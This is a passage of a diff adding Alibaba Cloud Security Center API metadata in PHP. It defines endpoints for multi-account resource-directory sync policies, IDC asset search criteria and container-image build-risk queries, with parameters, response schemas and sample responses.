'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"43313389-DED8-5BB7-8CB9-F22CDEB744DE\\"\\n}","type":"json"}]', + 'title' => '触发云安全中心合规检查ISO 27001 合规检测任务', + ], + 'CreateRdDefaultSyncList' => [ + 'summary' => '创建多账号安全管理功能中的云安全中心新增账号自动管控策略，在自动管控策略目录下的成员账号会被自动加入监控账号列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '213254', + 'abilityTreeNodes' => [ + 'FEATUREsas8YMQ5V', + ], + ], + 'parameters' => [ + [ + 'name' => 'FolderIds', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录下资源夹ID列表。'."\n" + ."\n" + .'> 可通过[GetRdTree](~~GetRdTree~~)获取资源夹ID，多个资源夹ID需使用半角逗号分隔，如果不传入该参数，会清空已有的配置列表。', + 'type' => 'string', + 'required' => false, + 'example' => 'fd-BwoXuf****,fd-CFamY7****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BA674E4B-00CF-5DEA-8B92-360862FB5133', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BA674E4B-00CF-5DEA-8B92-360862FB5133\\"\\n}","type":"json"}]', + 'title' => '创建多账号安全管理功能中的云安全中心新增账号自动管控策略', + 'description' => '需使用资源目录的管理账号或云安全中心委派管理员账号调用该接口。', + ], + 'ListRdDefaultSyncList' => [ + 'summary' => '查询多账号安全管理功能中的云安全中心新增账号自动管控策略，在自动管控策略目录下的成员账号会被自动加入监控账号列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '213240', + 'abilityTreeNodes' => [ + 'FEATUREsas8YMQ5V', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '接口调用成功时，返回的数据。', + 'type' => 'object', + 'properties' => [ + 'FolderIds' => [ + 'description' => '资源目录下资源夹ID列表。', + 'type' => 'string', + 'example' => 'fd-BwoXuf****,fd-CFamY7****'."\n", + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"FolderIds\\": \\"fd-BwoXuf****,fd-CFamY7****\\\\n\\"\\n },\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\"\\n}","type":"json"}]', + 'title' => '查询多账号安全管理功能中的云安全中心新增账号自动管控策略', + 'description' => '需使用资源目录的管理账号或云安全中心委派管理员账号调用该接口。', + ], + 'GetRdTree' => [ + 'summary' => '多账号安全管理功能查询用户资源目录下资源组织的目录结构。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '213144', + 'abilityTreeNodes' => [ + 'FEATUREsas8YMQ5V', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '处理结果。', + 'type' => 'object', + 'properties' => [ + 'FolderId' => [ + 'title' => '目录id', + 'description' => '资源目录下资源夹ID。', + 'type' => 'string', + 'example' => 'fd-CGA73I****', + ], + 'FolderName' => [ + 'title' => '目录名称', + 'description' => '资源夹名称。', + 'type' => 'string', + 'example' => 'Root', + ], + 'Children' => [ + 'title' => '子目录', + 'description' => '子目录', + 'type' => 'array', + 'items' => [ + 'description' => '子节点结构，与父节点结构一致', + 'type' => 'any', + 'example' => '{'."\n" + .' "children": ['."\n" + .' {'."\n" + .' "folderName": "345****",'."\n" + .' "folderId": "fd-3T3LR6N****"'."\n" + .' }'."\n" + .' ],'."\n" + .' "folderName": "123****",'."\n" + .' "folderId": "fd-rEdk0a8***"'."\n" + .'}', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"FolderId\\": \\"fd-CGA73I****\\",\\n \\"FolderName\\": \\"Root\\",\\n \\"Children\\": [\\n \\"{\\\\n \\\\\\"children\\\\\\": [\\\\n {\\\\n \\\\\\"folderName\\\\\\": \\\\\\"345****\\\\\\",\\\\n \\\\\\"folderId\\\\\\": \\\\\\"fd-3T3LR6N****\\\\\\"\\\\n }\\\\n ],\\\\n \\\\\\"folderName\\\\\\": \\\\\\"123****\\\\\\",\\\\n \\\\\\"folderId\\\\\\": \\\\\\"fd-rEdk0a8***\\\\\\"\\\\n}\\"\\n ]\\n },\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\"\\n}","type":"json"}]', + 'title' => '查询资源目录下资源组织的目录结构', + 'description' => '需使用资源目录的管理账号或云安全中心委派管理员账号调用该接口。', + ], + 'DescribeIdcAssetCriteria' => [ + 'summary' => '查询扫描出来的IDC机房资产时能显示的资产属性模糊匹配的查询条件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'Value', + 'in' => 'query', + 'schema' => [ + 'description' => '查询资产时输入的模糊匹配值。', + 'type' => 'string', + 'required' => false, + 'example' => 'testwww', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '对应的IP是否有效。取值：'."\n" + .'- **0**：有效'."\n" + .'- **1**：已忽略'."\n" + .'- **2*：无效'."\n" + .'- **3*：过期'."\n" + .'- **4*：探针不存在', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '11C96623-E106-59C9-866D-A6C82911****', + ], + 'CriteriaList' => [ + 'description' => '资产查询条件的信息。', + 'type' => 'array', + 'items' => [ + 'description' => '资产查询条件的信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '查询条件的类型。取值：'."\n" + ."\n" + .'- **input**：需要手动输入查询字段。'."\n" + .'- **select**：需要从下拉列表中选择查询条件的子类型。', + 'type' => 'string', + 'example' => 'select', + ], + 'Name' => [ + 'description' => '对应的查询条件的名称。', + 'type' => 'string', + 'example' => 'scannedIp', + ], + 'Values' => [ + 'description' => '输入的模糊匹配值对应的资产的具体属性值。', + 'type' => 'string', + 'example' => '1.1.1.*', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911****\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"scannedIp\\",\\n \\"Values\\": \\"1.1.1.*\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => 'IDC机房探针扫描资产搜索条件', + ], + 'DescribeImageListByBuildRisk' => [ + 'summary' => '分页查询构建风险受影响镜像。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'RiskLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '风险等级。取值：'."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'required' => false, + 'example' => 'medium', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，设置当前页面的页码。默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'RiskKey', + 'in' => 'query', + 'schema' => [ + 'description' => '构建风险规则Key。通过[DescribeImageBuildRiskList](~~~~)接口获取RiskKey。', + 'type' => 'string', + 'required' => false, + 'example' => 'no_user', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的告警事件状态。取值：'."\n" + .'- **0**：未处理。'."\n" + .'- **1**：忽略。'."\n" + .'- **2**：误报。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '条件参数的属性值。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'CriteriaType', + 'in' => 'query', + 'schema' => [ + 'description' => '条件参数的属性名。取值：'."\n" + .'- **RepoNamespace**：命名空间。'."\n" + .'- **RepoName**：仓库名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'RepoNamespace', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => 'PlainResult>', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '镜像列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'example' => '6ec898e6274f942e0e4a053eff1c****', + ], + 'RegionId' => [ + 'description' => '区域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'InstanceId' => [ + 'description' => '镜像仓库实例ID。', + 'type' => 'string', + 'example' => '39010****', + ], + 'RepoNamespace' => [ + 'description' => '镜像仓库的命名空间。', + 'type' => 'string', + 'example' => 'namespace', + ], + 'RepoName' => [ + 'description' => '镜像仓库名称。', + 'type' => 'string', + 'example' => 'test-tepo', + ], + 'Digest' => [ + 'description' => '镜像Digest摘要值。', + 'type' => 'string', + 'example' => 'a5ccdd9b166b67e02954aa9b618fe19b7968bd56a15463d2ad7f2643ba5b****', + ], + 'Tag' => [ + 'description' => '镜像标签', + 'type' => 'string', + 'example' => 'v1', + ], + 'FirstScanTime' => [ + 'description' => '首次扫描时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1723710827000', + ], + 'LastScanTime' => [ + 'description' => '最新扫描时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1723710827999', + ], + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'medium', + ], + 'Status' => [ + 'description' => '要查询的告警事件状态。取值：'."\n" + .'- **0**：未处理。'."\n" + .'- **1**：忽略。'."\n" + .'- **2**：误报。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页参数。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，设置当前页面的页码。默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '109', + ], + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"List\\": [\\n {\\n \\"Uuid\\": \\"6ec898e6274f942e0e4a053eff1c****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"InstanceId\\": \\"39010****\\",\\n \\"RepoNamespace\\": \\"namespace\\",\\n \\"RepoName\\": \\"test-tepo\\",\\n \\"Digest\\": \\"a5ccdd9b166b67e02954aa9b618fe19b7968bd56a15463d2ad7f2643ba5b****\\",\\n \\"Tag\\": \\"v1\\",\\n \\"FirstScanTime\\": 1723710827000,\\n \\"LastScanTime\\": 1723710827999,\\n \\"RiskLevel\\": \\"medium\\",\\n \\"Status\\": 1\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 109\\n }\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\"\\n}","type":"json"}]', + 'title' => '分页查询构建风险受影响镜像', + ], + 'DescribeImageBuildRiskList' => [ + 'summary' => '分页查询镜像构建风险汇总概要。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '200040', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '构建风险的**规则名称**或**分类名称**，通过接口[DescribeImageBuildRiskList](~~~~)来获取。可选参数：'."\n" + .'- 当**CriteriaType**为**RiskKeyName**时，目标对象值为构建风险的**规则名称**。'."\n" + .'- 当**CriteriaType**为**RiskClassName**时，目标对象值为构建风险的**分类名称**。', + 'type' => 'string', + 'required' => false, + 'example' => 'no_user', + ], + ], + [ + 'name' => 'CriteriaType', + 'in' => 'query', + 'schema' => [ + 'description' => '构建风险的查询类型。取值：'."\n" + .'- **RiskKeyName**：构建风险规则名称。'."\n" + .'- **RiskClassName**：构建风险分类名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'RiskKeyName', + ], + ], + [ + 'name' => 'RiskLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'medium', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，当前页的页码。默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => 'PlainResult>', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '构建风险的概要列表。', + 'type' => 'array', + 'items' => [ + 'description' => '满足过滤条件的数据包列表。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'medium', + ], + 'RiskClass' => [ + 'description' => '构建风险规则分类Key。', + 'type' => 'string', + 'example' => 'other', + ], + 'RiskKey' => [ + 'description' => '构建风险规则Key。通过[DescribeImageBuildRiskList](~~~~)接口获取**RiskKey**。', + 'type' => 'string', + 'example' => 'no_user', + ], + 'FirstScanTime' => [ + 'description' => '首次扫描时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1723710827000', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1723710827999', + ], + 'Count' => [ + 'description' => '受影响的镜像数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RiskClassName' => [ + 'description' => '构建风险规则分类名称。', + 'type' => 'string', + 'example' => 'other', + ], + 'RiskKeyName' => [ + 'description' => '构建风险规则名称。', + 'type' => 'string', + 'example' => 'no_user', + ], + 'UnprocessedNum' => [ + 'description' => '未处理镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询参数。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '指定分页查询时，当前页的页码。默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '109', + ], + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"List\\": [\\n {\\n \\"RiskLevel\\": \\"medium\\",\\n \\"RiskClass\\": \\"other\\",\\n \\"RiskKey\\": \\"no_user\\",\\n \\"FirstScanTime\\": 1723710827000,\\n \\"LastScanTime\\": 1723710827999,\\n \\"Count\\": 2,\\n \\"RiskClassName\\": \\"other\\",\\n \\"RiskKeyName\\": \\"no_user\\",\\n \\"UnprocessedNum\\": 1\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 109\\n }\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\"\\n}","type":"json"}]', + 'title' => '分页查询镜像构建风险汇总概要', + ], + 'DescribeImageBuildRiskByKey' => [ + 'summary' => '分页查询镜像的构建风险。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'RiskKey', + 'in' => 'query', + 'schema' => [ + 'description' => '构建风险规则Key。'."\n" + .'>您可通过[DescribeImageBuildRiskList](~~DescribeImageBuildRiskList~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'no_user', + ], + ], + [ + 'name' => 'ImageUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'a910053dd4710173ecc9e9d8931f****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，设置当前页面的页码。默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的告警事件状态。取值：'."\n" + .'- **0**：未处理。'."\n" + .'- **1**：忽略。'."\n" + .'- **2**：误报。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => 'PlainResult>', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '构建风险列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'LayerDigest' => [ + 'description' => '镜像层的摘要。', + 'type' => 'string', + 'example' => '6ec898e6274f942e0e4a053eff1c3119026a6704e56cff206b2cec71f636****', + ], + 'LayerCmd' => [ + 'description' => '镜像层的构建命令。', + 'type' => 'string', + 'example' => 'user root', + ], + 'Advice' => [ + 'description' => '修复建议。', + 'type' => 'string', + 'example' => 'do not use root user', + ], + 'Promt' => [ + 'description' => '风险提示。', + 'type' => 'string', + 'example' => 'the root user has excessive permissions', + ], + 'Description' => [ + 'description' => '构建风险处理建议的描述。', + 'type' => 'string', + 'example' => 'the root user has excessive permissions', + ], + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'example' => 'medium', + ], + 'RiskKey' => [ + 'description' => '构建风险规则Key。', + 'type' => 'string', + 'example' => 'no_user', + ], + 'RiskKeyName' => [ + 'description' => '构建风险规则名称。', + 'type' => 'string', + 'example' => 'no_user', + ], + 'RiskClass' => [ + 'description' => '构建风险规则分类Key。', + 'type' => 'string', + 'example' => 'other', + ], + 'RiskClassName' => [ + 'description' => '构建风险规则分类名称。', + 'type' => 'string', + 'example' => 'other', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询参数。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，设置当前页面的页码。默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '109', + ], + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"List\\": [\\n {\\n \\"LayerDigest\\": \\"6ec898e6274f942e0e4a053eff1c3119026a6704e56cff206b2cec71f636****\\",\\n \\"LayerCmd\\": \\"user root\\",\\n \\"Advice\\": \\"do not use root user\\",\\n \\"Promt\\": \\"the root user has excessive permissions\\",\\n \\"Description\\": \\"the root user has excessive permissions\\",\\n \\"RiskLevel\\": \\"medium\\",\\n \\"RiskKey\\": \\"no_user\\",\\n \\"RiskKeyName\\": \\"no_user\\",\\n \\"RiskClass\\": \\"other\\",\\n \\"RiskClassName\\": \\"other\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 109\\n }\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\"\\n}","type":"json"}]', + 'title' => '分页查询镜像的构建风险', + ], + 'DescribeCanTrySas' => [ + 'summary' => '查询云安全中心试用权限。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], 